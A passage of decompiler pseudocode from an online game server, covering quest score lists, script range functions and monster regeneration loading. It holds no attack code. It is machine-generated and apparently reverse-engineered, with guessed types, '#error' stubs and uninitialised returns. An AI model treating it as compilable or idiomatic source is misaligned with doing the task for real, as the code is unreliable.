v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_5A8D60); if ( DebugLogging::dl_ActivAll && v14->dl_Activ && v14->dl_FilePointer ) { v15 = DebugLogging::dl_FilePoint(v14); fputc(10, v15); fflush(v14->dl_FilePointer); fclose(v14->dl_FilePointer); v14->dl_FilePointer = 0; } v16 = array->num; v17 = 3 * v16; v18 = (char *)&array[1] + 34 * v16; v17 *= 16; v19 = *(_DWORD *)&v3->alkqr_Array[0].scorestr.charid.n4_name[v17]; v20 = (int)((char *)&v3->alkqr_Array[0].scorestr + v17); *(_DWORD *)v18 = v19; *((_DWORD *)v18 + 1) = *(_DWORD *)(v20 + 4); *((_DWORD *)v18 + 2) = *(_DWORD *)(v20 + 8); *((_DWORD *)v18 + 3) = *(_DWORD *)(v20 + 12); *((_WORD *)v18 + 8) = *(_WORD *)(v20 + 16); *(_DWORD *)(v18 + 18) = *(_DWORD *)(v20 + 18); *(_DWORD *)(v18 + 22) = *(_DWORD *)(v20 + 22); *(_DWORD *)(v18 + 26) = *(_DWORD *)(v20 + 26); *(_DWORD *)(v18 + 30) = *(_DWORD *)(v20 + 30); if ( array->num ) { if ( array->num == 1 ) { array[11].num = array[11].num & 0x82 | 2; } else { if ( array->num == 2 ) BYTE3(array[17].base) = BYTE3(array[17].base) & 0x83 | 3; } } else { LOBYTE(array[4].base) = array[4].base & 0x81 | 1; } MoveManager::MoveManager((DiceTaiSai *)buffer); v22 = v21 + 1; do v23 = *(_BYTE *)v21++; while ( v23 ); if ( (unsigned int)(v21 - v22) < 0xF1 ) { v24 = v3->alkqr_LimitPoint; if ( !v24 || v3->alkqr_Array[array->num].score >= v24 ) { PineScriptToken::pst_MergeNumber(buffer, v3->alkqr_Array[array->num].handle); PineScriptToken::pst_MergeString(buffer, (char *)&stru_5A4E3C); } } v25 = array->num + 1; array->num = v25; } while ( (unsigned __int8)v25 < v3->alkqr_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeList"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004AB460) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_MakeSimpleList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_SIMPLE_CMD *array, int limit) { AxialListKQResult *v4; // edi@1 int v5; // ebp@1 int v6; // eax@4 int v7; // edx@4 char v8; // cl@5 int v9; // eax@8 int v10; // ecx@8 int v11; // eax@10 int v12; // ecx@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeSimpleList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListKQResult::alkqr_MakeSimpleList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qsort(v4->alkqr_Array, v4->alkqr_Pointer, 0x30u, AxialListKQResult::alkqr_ScoreCompare); PineScriptToken::pst_Clear(buffer); array->base = v4->alkqr_BasePoint; v5 = limit; if ( limit >= v4->alkqr_Pointer ) v5 = v4->alkqr_Pointer; array->num = 0; if ( v5 > 0 ) { do { MoveManager::MoveManager((DiceTaiSai *)buffer); v7 = v6 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); if ( (unsigned int)(v6 - v7) < 0xF1 ) { PineScriptToken::pst_MergeNumber(buffer, v4->alkqr_Array[array->num].handle); PineScriptToken::pst_MergeString(buffer, (char *)&stru_5A4E3C); } v9 = array->num; v10 = 3 * v9; v9 *= 28; v10 *= 16; *(_DWORD *)(&array[1].num + v9) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10]; *(unsigned int *)((char *)&array[1].base + v9 + 3) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 4]; *(unsigned int *)((char *)&array[1].self.kill + v9 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 8]; *(unsigned int *)((char *)&array[1].self.down + v9 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 12]; *(&array[2].self.kill + 7 * array->num) = v4->alkqr_Array[array->num].score; *(unsigned int *)((char *)&array[1].self.score + 28 * array->num + 2) = v4->alkqr_Array[array->num].scorestr.killpoint; *(unsigned int *)((char *)&array[2].base + 28 * array->num + 1) = v4->alkqr_Array[array->num].scorestr.downpoint; LOBYTE(v10) = array->num + 1; array->num = v10; } while ( (unsigned __int8)v10 < v5 ); } if ( array->num < v4->alkqr_Pointer ) { do { v11 = array->num; v12 = 3 * v11; v11 *= 28; v12 *= 16; *(_DWORD *)(&array[1].num + v11) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12]; *(unsigned int *)((char *)&array[1].base + v11 + 3) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 4]; *(unsigned int *)((char *)&array[1].self.kill + v11 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 8]; *(unsigned int *)((char *)&array[1].self.down + v11 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 12]; *(&array[2].self.kill + 7 * array->num) = v4->alkqr_Array[array->num].score; *(unsigned int *)((char *)&array[1].self.score + 28 * array->num + 2) = v4->alkqr_Array[array->num].scorestr.killpoint; *(unsigned int *)((char *)&array[2].base + 28 * array->num + 1) = v4->alkqr_Array[array->num].scorestr.downpoint; LOBYTE(v12) = array->num + 1; array->num = v12; } while ( (unsigned __int8)v12 < v4->alkqr_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeSimpleList"); } //----- (004AB6A0) -------------------------------------------------------- #error "4AB6A0: undefined or illegal type '#325' (funcsize=143)" //----- (004AB8B0) -------------------------------------------------------- #error "4AB8B0: undefined or illegal type '#585' (funcsize=211)" //----- (004ABC20) -------------------------------------------------------- void __cdecl std::generate>::iterator_ArrGen>(std::vector >::iterator _First, std::vector >::iterator _Last, ArrGen _Func) { std::vector >::iterator v3; // eax@1 int v4; // edx@2 v3 = _First; if ( _First != _Last ) { v4 = _Func.from_; do { **(_DWORD **)&v3 = v4; *(_DWORD *)&v3 += 4; v4 += _Func.step_; } while ( v3 != _Last ); } } //----- (004ABC50) -------------------------------------------------------- void __thiscall AxialListKQResult::AxialListKQResult(AxialListKQResult *this, void (__thiscall *scorefunction)(AxialListKQResult *, #325 *), char (__thiscall *workerFunction)(AxialListKQResult *, #325 *, #325 *, unsigned int), int basepoint, int limitScore) { AxialListKQResult *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQResult::_vftable_; _eh_vector_constructor_iterator_( v5->alkqr_Array, 0x30u, 128, (void (__thiscall *)(void *))AxialListKQResult::ALKQR::ALKQR, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v5->alkqr_BasePoint = basepoint; v5->alkqr_LimitPoint = limitScore; v5->alkqr_worker = workerFunction; v5->alkqr_Pointer = 0; v5->alkqr_ScoreFunction = scorefunction; } // 5BE720: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004ABCE0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQResultList::sfb_Calculate(PineEventScriptNode::SysFuncShineKQResultList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { void *v4; // esp@1 void (__thiscall *v5)(AxialListKQResult *, #325 *); // esi@6 char (__thiscall *v6)(AxialListKQResult *, #325 *, #325 *, unsigned int); // edi@7 void *v7; // ecx@9 char *v8; // esi@12 char *v9; // edi@12 void *v10; // ecx@12 PineScriptToken *result; // eax@15 int limitScore; // [sp+8h] [bp-1A48h]@3 int basepoint; // [sp+Ch] [bp-1A44h]@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-1A40h]@12 FunctionEntarance _; // [sp+1Ch] [bp-1A34h]@1 PineScriptToken token; // [sp+20h] [bp-1A30h]@1 PineScriptToken thisa; // [sp+120h] [bp-1930h]@5 AxialListKQResult alkqr; // [sp+220h] [bp-1830h]@9 unsigned int cookie; // [sp+1A3Ch] [bp-14h]@15 PineEventScriptNode::SysFuncShineKQResultList *v20; // [sp+1A40h] [bp-10h]@1 int v21; // [sp+1A4Ch] [bp-4h]@1 v20 = this; v4 = alloca(6716); _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v21) = 1; basepoint = 0; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( PineScriptToken::operator__(&token, byte_5A62A6) ) basepoint = PineScriptToken::pst_GetNumber(&token, 0); limitScore = 0; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); if ( PineScriptToken::operator__(&token, byte_5A62A6) ) limitScore = PineScriptToken::pst_GetNumber(&token, 0); memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps), sizeof(thisa)); LOBYTE(v21) = 2; if ( PineScriptToken::operator__(&thisa, "ConditionOfHero") ) { v5 = AxialListKQResult::alkqr_Score_ConditionOfHero; } else { v5 = AxialListKQResult::alkqr_Score_Default; v6 = AxialListKQResult::zerosumWorker; if ( PineScriptToken::operator__(&thisa, "NewConditionOfHero") ) goto LABEL_9; } v6 = AxialListKQResult::defaultWorker; LABEL_9: LOBYTE(v21) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); AxialListKQResult::AxialListKQResult(&alkqr, v5, v6, basepoint, limitScore); v7 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 3; if ( v7 ) ShineObjectClass::ShineObject::so_AllInMap(v7, (int)&alkqr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); AxialListKQResult::alkqr_CalcScore(&alkqr); v8 = gpp.pp_Buffer; v9 = gpp.pp_Buffer + 2; AxialListKQResult::alkqr_MakeList(&alkqr, buffer, (PROTO_NC_KQ_SCORE_CMD *)(gpp.pp_Buffer + 2)); *(_WORD *)v8 = 22548; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 34 * (unsigned __int8)*v9 + 7); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 4; if ( v10 ) ShineObjectClass::ShineObject::so_AllInMap(v10, (int)&alchat, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v21) = 3; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v21) = 1; AxialListKQResult::_AxialListKQResult(&alkqr); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); __security_check_cookie(cookie); return result; } //----- (004ABFB0) -------------------------------------------------------- #error "4ABFB0: undefined or illegal type '#325' (funcsize=222)" //----- (004AC320) -------------------------------------------------------- #error "4AC320: undefined or illegal type '#585' (funcsize=203)" //----- (004AC650) -------------------------------------------------------- #error "4AC650: undefined or illegal type '#585' (funcsize=108)" //----- (004AC830) -------------------------------------------------------- #error "4AC830: undefined or illegal type '#585' (funcsize=108)" //----- (004ACA10) -------------------------------------------------------- void __cdecl std::random_shuffle>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last) { if ( _First != _Last ) std::_Random_shuffle>::iterator_int>( (std::vector >::iterator)_First, (std::vector >::iterator)_Last, 0); } //----- (004ACA30) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004ACAA0) -------------------------------------------------------- void __thiscall std::vector>::_Construct_n(std::vector > *this, unsigned int _Count, const int *_Val) { unsigned int v3; // edi@1 std::vector > *v4; // esi@1 void *v5; // eax@4 void *v6; // ecx@4 v3 = _Count; v4 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Count ) { if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen(this); v5 = operator new(4 * _Count); v4->_Myend = (int *)((char *)v5 + 4 * _Count); v4->_Myfirst = (int *)v5; v4->_Mylast = (int *)v5; v6 = v5; if ( _Count > 0 ) { do { *(_DWORD *)v6 = *_Val; v6 = (char *)v6 + 4; --v3; } while ( v3 ); } v4->_Mylast = (int *)((char *)v5 + 4 * _Count); } } //----- (004ACB10) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRange::sfb_Calculate(PineEventScriptNode::SysFuncShineRange *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 int v5; // ebx@3 PineScriptToken *v6; // eax@3 PineScriptToken *v7; // eax@5 unsigned __int16 v8; // ax@5 void *v9; // ebx@5 std::vector >::iterator v10; // edi@5 int *i; // esi@12 PineScriptToken *v12; // eax@13 PineScriptToken *result; // eax@17 int from; // [sp+0h] [bp-238h]@3 int _Val; // [sp+4h] [bp-234h]@5 int to; // [sp+8h] [bp-230h]@5 FunctionEntarance _; // [sp+Ch] [bp-22Ch]@1 std::vector > numberVector; // [sp+10h] [bp-228h]@5 PineScriptToken token; // [sp+20h] [bp-218h]@1 PineScriptToken thisa; // [sp+120h] [bp-118h]@5 unsigned int cookie; // [sp+224h] [bp-14h]@17 int v22; // [sp+234h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineRange"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v22) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate : Argument err", 0) ) { PineScriptToken::pst_Clear(buffer); LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineRange"); } else { v5 = PineScriptToken::pst_GetNumber(&token, 0); from = v5; v6 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( ps_assert(v6 != 0, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate : Argument err", 0) ) { PineScriptToken::pst_Clear(buffer); LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineRange"); } else { to = PineScriptToken::pst_GetNumber(&token, 0); _Val = 0; std::vector>::_Construct_n(&numberVector, to - v5 + 1, &_Val); LOBYTE(v22) = 2; v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); memcpy(&thisa, PineScriptToken::pst_ToLower(v7), sizeof(thisa)); LOBYTE(v22) = 3; v8 = PineScriptToken::operator__(&thisa, "asc"); v9 = numberVector._Myfirst; v10 = (std::vector >::iterator)numberVector._Mylast; if ( v8 ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)numberVector._Myfirst, (std::vector >::iterator)numberVector._Mylast, (ArrGen)__PAIR__(1, from)); } else { if ( PineScriptToken::operator__(&thisa, "desc") ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)v9, v10, (ArrGen)__PAIR__(-1, to)); } else { if ( PineScriptToken::operator__(&thisa, "shuffle") ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)v9, v10, (ArrGen)__PAIR__(1, from)); std::random_shuffle>::iterator>( (std::vector >::iterator)v9, v10); } else { ps_assert(0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Invalid order", 0); } } } LOBYTE(v22) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); for ( i = (int *)v9; i != (int *)v10; ++i ) { v12 = PineScriptToken::pst_MergeNumber(buffer, *i); PineScriptToken::pst_MergeString(v12, (char *)&stru_5A4E3C); } if ( v9 ) operator delete(v9); LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineRange"); } } __security_check_cookie(cookie); return result; } //----- (004ACE30) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::_PineScriptMobRegenerator(PineScriptMobRegenerator *this) { BTree::_BTree(&this->psmr_btree); } //----- (004ACE40) -------------------------------------------------------- int __thiscall MobRegenStruct::RegenMobStruct::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 signed int v4; // ebp@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); v3 = this + 20; v4 = 33; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); *(_BYTE *)(this + 53) = *(_BYTE *)(a2 + 53); *(_BYTE *)(this + 54) = *(_BYTE *)(a2 + 54); memcpy((void *)(this + 55), (const void *)(a2 + 55), 0x30u); return result; } //----- (004ACEA0) -------------------------------------------------------- OptionReader *__thiscall KQRegenTable::operator__(KQRegenTable *this, const char *map) { KQRegenTable *v2; // esi@1 OptionReader *result; // eax@1 KQRegenTable::Element key; // [sp+4h] [bp-14h]@1 v2 = this; KQRegenTable::Element::Element(&key); *(_QWORD *)&key.tablename.n3_name[4] = 0i64; *(_DWORD *)&key.tablename.n3_name[0] = 0; strncpy(key.tablename.n3_name, map, 0xCu); result = (OptionReader *)bsearch(&key, v2, v2->kqrt_Number, 0x10u, KQRegenTable::Element::Comp); if ( result ) result = *(OptionReader **)&result->or_Argument.delimiter.ord_Array[0]; return result; } //----- (004ACF30) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::RegenStruct::RegenStruct(PineScriptMobRegenerator::RegenStruct *this) { PineScriptMobRegenerator::RegenStruct *v1; // esi@1 v1 = this; DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)this); DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)&v1->rs_data); } //----- (004ACF50) -------------------------------------------------------- char *__thiscall PineScriptMobRegenerator::psmr_makeindex(PineScriptMobRegenerator *this, char *buffer, const char *map, const char *index) { const char *v4; // edx@1 const char v5; // cl@1 char *i; // eax@1 const char *v7; // edx@3 const char v8; // cl@3 int j; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_makeindex"); v4 = map; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_makeindex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *map; for ( i = buffer; v5; ++v4 ) { *i = v5; v5 = v4[1]; ++i; } v7 = index; *i = 58; v8 = *index; for ( j = (int)(i + 1); v8; ++v7 ) { *(_BYTE *)j = v8; v8 = v7[1]; ++j; } *(_BYTE *)j = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_makeindex"); return buffer; } //----- (004ACFE0) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::PineScriptMobRegenerator(PineScriptMobRegenerator *this) { PineScriptMobRegenerator *v1; // esi@1 void *v2; // eax@1 int v3; // edi@2 v1 = this; BTree::BTree(&this->psmr_btree); v1->psmr_maxbuffer = 1024; v2 = operator new__(0x24004u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 1024; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x90u, 1024, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::RegenStruct, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } else { v3 = 0; } v1->psmr_struct = (PineScriptMobRegenerator::RegenStruct *)v3; v1->psmr_curbuffer = 0; } //----- (004AD080) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::psmr_Store(PineScriptMobRegenerator *this, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *rgs, char *index) { PineScriptMobRegenerator *v4; // ebp@1 unsigned __int16 v5; // ax@1 void *v6; // ebx@1 int v7; // esi@2 void *v8; // eax@2 unsigned __int16 v9; // ax@4 void *v10; // eax@6 void *v11; // esi@7 unsigned __int16 v12; // dx@8 int v13; // eax@9 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->psmr_maxbuffer; v6 = 0; if ( v5 > v4->psmr_curbuffer ) { LABEL_9: MobRegenStruct::RegenMobStruct::operator_((int)&v4->psmr_struct[v4->psmr_curbuffer].rs_data, (int)data); v13 = (int)&v4->psmr_struct[v4->psmr_curbuffer]; *(_QWORD *)v13 = *(_QWORD *)&rgs->rgs_groupname.ort_Name[0]; *(_QWORD *)(v13 + 8) = *(_QWORD *)&rgs->rgs_groupname.ort_Name[8]; *(_DWORD *)(v13 + 16) = *(_DWORD *)&rgs->rgs_groupname.ort_Name[16]; *(_BYTE *)(v13 + 20) = rgs->rgs_family; v13 += 21; *(_DWORD *)v13 = rgs->rgs_regreg.rgs_CenterX; *(_DWORD *)(v13 + 4) = rgs->rgs_regreg.rgs_CenterY; *(_DWORD *)(v13 + 8) = rgs->rgs_regreg.rgs_Width; *(_DWORD *)(v13 + 12) = rgs->rgs_regreg.rgs_Height; *(_DWORD *)(v13 + 16) = rgs->rgs_regreg.rgs_Rotate; BTree::bt_Insert(&v4->psmr_btree, index, v4->psmr_curbuffer++); goto LABEL_10; } v7 = 2 * v5; v8 = operator new__(288 * v5 + 4); if ( v8 ) { v6 = (char *)v8 + 4; *(_DWORD *)v8 = v7; _eh_vector_constructor_iterator_( (char *)v8 + 4, 0x90u, v7, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::RegenStruct, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } v9 = v4->psmr_maxbuffer; if ( v6 ) { memcpy(v6, v4->psmr_struct, 144 * v9); v10 = v4->psmr_struct; if ( v4->psmr_struct ) { v11 = (char *)v10 - 4; _eh_vector_destructor_iterator_( v10, 0x90u, *((_DWORD *)v10 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v11); } v12 = 2 * v4->psmr_maxbuffer; v4->psmr_struct = (PineScriptMobRegenerator::RegenStruct *)v6; v4->psmr_maxbuffer = v12; goto LABEL_9; } AssertClass::ac_AssertFail(&shineassert, "PineScriptMobRegenerator::psmr_Store : Memory overflow", v9); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Store"); } //----- (004AD260) -------------------------------------------------------- char __thiscall PineScriptMobRegenerator::psmr_Load(PineScriptMobRegenerator *this, const char *map) { PineScriptMobRegenerator *v2; // ebp@1 OptionReader *v3; // ebx@1 void *v4; // eax@4 MobRegenStruct::RegenMobStruct *v5; // edi@4 char *v6; // eax@5 char *v7; // eax@5 void *v8; // eax@6 char result; // al@11 ORToken v10; // [sp-30h] [bp-14Ch]@6 int v11; // [sp-2Ch] [bp-148h]@6 ORToken v12; // [sp-28h] [bp-144h]@4 int v13; // [sp-24h] [bp-140h]@4 int v14; // [sp-20h] [bp-13Ch]@4 char *v15; // [sp-1Ch] [bp-138h]@4 char *v16; // [sp-18h] [bp-134h]@4 int v17; // [sp-14h] [bp-130h]@4 int i; // [sp+0h] [bp-11Ch]@3 ORToken *v19; // [sp+4h] [bp-118h]@4 FunctionEntarance _; // [sp+8h] [bp-114h]@1 char buf[128]; // [sp+Ch] [bp-110h]@5 char buffer[128]; // [sp+8Ch] [bp-90h]@5 unsigned int cookie; // [sp+10Ch] [bp-10h]@11 int v24; // [sp+118h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "PineScriptMobRegenerator::psmr_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; v3 = KQRegenTable::operator__(&kqregentable, map); if ( v3 ) { for ( i = 0; ; ++i ) { while ( 1 ) { v17 = i; v19 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "MobRegen", 0x14u); v4 = OptionReader::or_SelectFromOrder(v3, v12, v17); v5 = (MobRegenStruct::RegenMobStruct *)v4; if ( !v4 ) { --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); goto LABEL_11; } v6 = ORToken::ort_GetString((ORToken *)v4, buf); v7 = PineScriptMobRegenerator::psmr_makeindex(v2, buffer, map, v6); if ( BTree::operator__(&v2->psmr_btree, v7) == -1 ) break; LABEL_9: ++i; } v17 = 0; v16 = buf; v15 = "GroupIndex"; v19 = &v10; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; v11 = 0; *(_DWORD *)&v10.ort_Name[0] = 0; strncpy(v10.ort_Name, "MobRegenGroup", 0x14u); v8 = OptionReader::or_SelectFrom(v3, v10, v15, v16, v17); if ( v8 != 0 ) { PineScriptMobRegenerator::psmr_Store(v2, v5, (MobRegenStruct::RegenGroupStruct *)v8, buffer); goto LABEL_9; } AssertClass::ac_AssertFail(&shineassert, "PineScriptMobRegenerator::psmr_Load : Group name not found", buf); } } --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); LABEL_11: __security_check_cookie(cookie); return result; } //----- (004AD450) -------------------------------------------------------- PineScriptMobRegenerator::RegenStruct *__thiscall PineScriptMobRegenerator::psmr_find(PineScriptMobRegenerator *this, const char *map, const char *index) { PineScriptMobRegenerator *v3; // esi@1 char *v4; // eax@1 unsigned int v5; // eax@1 char *v6; // eax@4 unsigned int v7; // eax@4 PineScriptMobRegenerator::RegenStruct *result; // eax@8 char buffer[128]; // [sp+4h] [bp-90h]@1 unsigned int v10; // [sp+84h] [bp-10h]@8 int v11; // [sp+90h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_find"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v4 = PineScriptMobRegenerator::psmr_makeindex(v3, buffer, map, index); v5 = 